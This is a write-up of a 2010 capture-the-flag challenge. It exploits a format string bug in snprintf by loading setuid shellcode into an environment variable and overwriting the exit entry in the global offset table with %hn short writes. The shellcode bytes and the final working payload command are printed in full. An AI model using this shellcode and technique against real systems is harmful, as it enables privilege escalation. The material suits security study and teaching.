smpCTF 2010 challenge 7 walkthrough

I participated in the 2010 smpCTF with the Robot Mafia team, which placed 19th. The only challenge I was able to solve was #7. This was a user-controlled format string vulnerability, the likes of which I had read about, but never really exploited before.

The challenge binaries can be downloaded here.

I like to have the complete disassembly open in one window and GDB in another. I started by getting the disassembly with objdump. Only the relevant part of the output is shown below.

$ objdump -M intel -d challenge7_bin

challenge7_bin:     file format elf32-i386

080483f4 <exit@plt>:
 80483f4:       ff 25 88 97 04 08       jmp    DWORD PTR ds:0x8049788
 80483fa:       68 40 00 00 00          push   0x40
 80483ff:       e9 60 ff ff ff          jmp    8048364 <_init+0x30>

080484c4 <vuln>:
 80484c4:       55                      push   ebp
 80484c5:       89 e5                   mov    ebp,esp
 80484c7:       81 ec 88 00 00 00       sub    esp,0x88
 80484cd:       83 ec 0c                sub    esp,0xc
 80484d0:       68 60 86 04 08          push   0x8048660
 80484d5:       e8 fa fe ff ff          call   80483d4 <puts@plt>
 80484da:       83 c4 10                add    esp,0x10
 80484dd:       83 ec 04                sub    esp,0x4
 80484e0:       68 80 00 00 00          push   0x80
 80484e5:       6a 00                   push   0x0
 80484e7:       8d 45 80                lea    eax,[ebp-0x80]
 80484ea:       50                      push   eax
 80484eb:       e8 b4 fe ff ff          call   80483a4 <memset@plt>
 80484f0:       83 c4 10                add    esp,0x10
 80484f3:       83 ec 04                sub    esp,0x4
 80484f6:       68 c0 97 04 08          push   0x80497c0
 80484fb:       6a 7f                   push   0x7f
 80484fd:       8d 45 80                lea    eax,[ebp-0x80]
 8048500:       50                      push   eax
 8048501:       e8 de fe ff ff          call   80483e4 <snprintf@plt>
 8048506:       83 c4 10                add    esp,0x10
 8048509:       c9                      leave
 804850a:       c3                      ret

0804850b <main>:
 804850b:       8d 4c 24 04             lea    ecx,[esp+0x4]
 804850f:       83 e4 f0                and    esp,0xfffffff0
 8048512:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048515:       55                      push   ebp
 8048516:       89 e5                   mov    ebp,esp
 8048518:       51                      push   ecx
 8048519:       83 ec 14                sub    esp,0x14
 804851c:       89 4d e8                mov    DWORD PTR [ebp-0x18],ecx
 804851f:       c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0
 8048526:       83 ec 08                sub    esp,0x8
 8048529:       68 c4 84 04 08          push   0x80484c4
 804852e:       6a 04                   push   0x4
 8048530:       e8 3f fe ff ff          call   8048374 <signal@plt>
 8048535:       83 c4 10                add    esp,0x10
 8048538:       8b 45 e8                mov    eax,DWORD PTR [ebp-0x18]
 804853b:       83 38 01                cmp    DWORD PTR [eax],0x1
 804853e:       7f 1a                   jg     804855a <main+0x4f>
 8048540:       83 ec 0c                sub    esp,0xc
 8048543:       68 65 86 04 08          push   0x8048665
 8048548:       e8 87 fe ff ff          call   80483d4 <puts@plt>
 804854d:       83 c4 10                add    esp,0x10
 8048550:       83 ec 0c                sub    esp,0xc
 8048553:       6a 00                   push   0x0
 8048555:       e8 9a fe ff ff          call   80483f4 <exit@plt>
 804855a:       8b 55 e8                mov    edx,DWORD PTR [ebp-0x18]
 804855d:       8b 42 04                mov    eax,DWORD PTR [edx+0x4]
 8048560:       83 c0 04                add    eax,0x4
 8048563:       8b 00                   mov    eax,DWORD PTR [eax]
 8048565:       83 ec 04                sub    esp,0x4
 8048568:       68 ff 03 00 00          push   0x3ff
 804856d:       50                      push   eax
 804856e:       68 c0 97 04 08          push   0x80497c0
 8048573:       e8 1c fe ff ff          call   8048394 <strncpy@plt>
 8048578:       83 c4 10                add    esp,0x10
 804857b:       83 ec 0c                sub    esp,0xc
 804857e:       6a 04                   push   0x4
 8048580:       e8 3f fe ff ff          call   80483c4 <raise@plt>
 8048585:       83 c4 10                add    esp,0x10
 8048588:       83 ec 0c                sub    esp,0xc
 804858b:       6a 00                   push   0x0
 804858d:       e8 62 fe ff ff          call   80483f4 <exit@plt>
 8048592:       90                      nop
 8048593:       90                      nop
 8048594:       90                      nop
 8048595:       90                      nop
 8048596:       90                      nop
 8048597:       90                      nop
 8048598:       90                      nop
 8048599:       90                      nop
 804859a:       90                      nop
 804859b:       90                      nop
 804859c:       90                      nop
 804859d:       90                      nop
 804859e:       90                      nop
 804859f:       90                      nop

Looking it over, the call to snprintf stands out as potentially vulnerable. The code with signal and raise which establishes the vuln function as a signal handler and then causes it to be called, is unusual but doesn't seem to have an effect on the challenge.

I decompiled the vuln function by hand, but it turns out that the team managed to get a copy of the challenge source code early. The original C is

void vuln(char *argv) {
	char text[128];
	memset(text,0, sizeof(text));
	snprintf(text, sizeof(text)-1, argv);

The call to snprintf is exploitable, not because of an unchecked boundary, but because the format string is controlled by the user. It should properly be snprintf(text, sizeof(text), "%s", argv). (The -1 on the size is not needed but doesn't affect anything.) We can use this command to write memory with the %n specifier, which means to write the number of bytes written so far to a user-supplied address. We just need to supply the address and cause the correct number of bytes to be written before %n. Even though the call limits the number of bytes written to 127, snprintf still keeps track of how many bytes would be written for its return value, so it still works. You can verify that you can write memory with by providing a format string like "%08X%08X%08X%08X", but you can only see it in GDB because the program doesn't normally produce any output.

I proceeded according to the instructions in Hacking: The Art of Exploitation, section 0x350 in the second edition. To get the shellcode into the memory space of the process I put it in an environment variable. I originally had trouble because my shellcode wasn't keeping the shell setuid. Evan gave me shellcode that worked.

$ export SHELLCODE=$'\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf\x2e\xce\x4a\x83\xeb\xfc\xe2\xf4\xd5\x25\x96\xd3\xed\x48\xa6\x67\xdc\xa7\x29\x22\x90\x5d\xa6\x4a\xd7\x01\xac\x23\xd1\xa7\x2d\x18\x57\x26\xce\x4a\xbf\x01\xac\x23\xd1\x01\xbd\x22\xbf\x79\x9d\xc3\x5e\xe3\x4e\x4a'

I used the getenvaddr program from the book to find the address of the shellcode. This will vary if you change the environment.

$ gcc -o getenvaddr getenvaddr.c
$ ./getenvaddr SHELLCODE ./challenge7_bin
SHELLCODE will be at 0xbffff685

Now we know we must overwrite a pointer with 0xbffff685, but what pointer? I tried the stack pointer and the .dtors section as described in section 0x357, but they didn't work for me. I had luck overwriting the pointer for the exit function in the global offset table, section 0x359 in the book. You can see the offset 0x08049788 in the disassembly or with the command

$ objdump -R challenge7_bin

challenge7_bin:     file format elf32-i386

OFFSET   TYPE              VALUE
08049758 R_386_GLOB_DAT    __gmon_start__
08049768 R_386_JUMP_SLOT   signal
0804976c R_386_JUMP_SLOT   __gmon_start__
08049770 R_386_JUMP_SLOT   strncpy
08049774 R_386_JUMP_SLOT   memset
08049778 R_386_JUMP_SLOT   __libc_start_main
0804977c R_386_JUMP_SLOT   raise
08049780 R_386_JUMP_SLOT   puts
08049784 R_386_JUMP_SLOT   snprintf
08049788 R_386_JUMP_SLOT   exit

Through trial and error with GDB I built up the format string. It is


The first four bytes are the pointer 0x0804978a and the next four bytes are 0x08049788. We're going to write the pointer two bytes at a time, using the "short write" technique from section 0x356. The first write is accomplished with %49143x%4\$hn. The number 49143 is 0xbff7; combining that with the 8 bytes already written for the addresses makes 0xbfff, the top half of the pointer. %4$hn means to do a two-byte write into the memory address given by the fourth argument to snprintf, which is 0x0804978a. The number 4 was found through trial and error. To get 0xbfff to increase to 0xf685 we must write an additional 13958 bytes, and then write into the memory address given by the fifth argument, or 0x08049788.

Now, when the program finishes and tries to call exit, the shellcode in the environment variable SHELLCODE will be called instead. Putting it all together (note the necessary backslash escape before $ in the shell):

$ ./challenge7_bin $(perl -e 'print "\x8a\x97\x04\x08\x88\x97\x04\x08%49143x%4\$hn%13958x%5\$hn"')
$ cat .smpFLAG
Challenge Key: e8f804df

More writeups

Challenge #8 from Luke.